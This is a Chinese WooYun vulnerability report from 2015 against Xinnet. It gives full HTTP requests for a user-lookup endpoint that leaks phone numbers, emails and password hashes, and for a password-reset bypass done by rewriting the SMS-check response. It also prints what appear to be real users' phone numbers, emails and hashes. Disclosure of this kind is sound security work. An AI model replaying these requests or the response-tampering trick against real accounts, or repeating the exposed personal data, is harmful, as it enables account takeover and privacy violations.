当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0163687

漏洞标题:新网某处设计缺陷可任意用户密码重置及手机号密码密文泄漏(大众点评网为例)

相关厂商:新网华通信息技术有限公司

漏洞作者: 路人甲

提交时间:2015-12-22 21:35

修复时间:2016-02-04 17:47

公开时间:2016-02-04 17:47

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-22: 细节已通知厂商并且等待厂商处理中
2015-12-23: 厂商已经确认,细节仅向厂商公开
2016-01-02: 细节向核心白帽子及相关领域专家公开
2016-01-12: 细节向普通白帽子公开
2016-01-22: 细节向实习白帽子公开
2016-02-04: 细节向公众公开

简要描述:

新网某处设计缺陷可任意用户密码重置及手机号密码密文泄漏(大众点评网为例)

详细说明:

重置密码要先从敏感信息泄漏开始

POST /user/userlogin.do?method=checkUserName HTTP/1.1
Host: www.xinnet.com
Proxy-Connection: keep-alive
Content-Length: 18
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.xinnet.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
DNT: 1
Referer: http://www.xinnet.com/views/loginnew/forgetpwd.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
AlexaToolbar-ALX_NS_PH: AlexaToolbar/alxg-3.3
userName=hy4911980


利用敏感信息泄漏,我们可以获取

{"id":4535227,"agentCode":"hy4911980","email":"151******71","password":"$1$39$QCqKIUdkYwfj20lFApPbE0","mobileNum":"15165955871","state":"02"}


{"id":4535226,"agentCode":"hy4911979","userEmail":"13832465238@163.com","userNameEmail":"13832465238@163.com","email":"138******38","password":"$1$99$E/YOf1qM9JWviO5wdnXes0","mobileNum":"13832465238","state":"02"}


password不知道什么加密方式,暂且先不理会,我们需要用到的是会员的手机号
去找回密码处利用会员名(hy4911979)手机号(13832465238) 进行找回密码

屏幕快照 2015-12-22 下午9.10.15.png


抓包

POST /user/userlogin.do?method=checkMobileVerifyCode HTTP/1.1
Host: www.xinnet.com
Proxy-Connection: keep-alive
Content-Length: 33
Accept: text/plain, */*; q=0.01
Origin: http://www.xinnet.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
DNT: 1
Referer: http://www.xinnet.com/views/loginnew/forgetpwd.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
AlexaToolbar-ALX_NS_PH: AlexaToolbar/alxg-3.3
MobileNum=13832465238&Code=123456


修改该请求的返回包为:verify_code_is_right

屏幕快照 2015-12-22 下午9.14.03.png


屏幕快照 2015-12-22 下午9.14.19.png


13832465238 wooyuntest123

屏幕快照 2015-12-22 下午9.15.47.png


屏幕快照 2015-12-22 下午9.16.26.png

漏洞证明:

大众点评网为例:
15800310255 wooyuntest123

屏幕快照 2015-12-22 下午9.28.12.png


屏幕快照 2015-12-22 下午9.28.18.png


屏幕快照 2015-12-22 下午9.30.14.png

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-12-23 10:35

厂商回复:

非常感谢路人甲@乌云,小新正在玩命确认及修复中

最新状态:

2015-12-24:漏洞已修复,非常感谢路人甲@乌云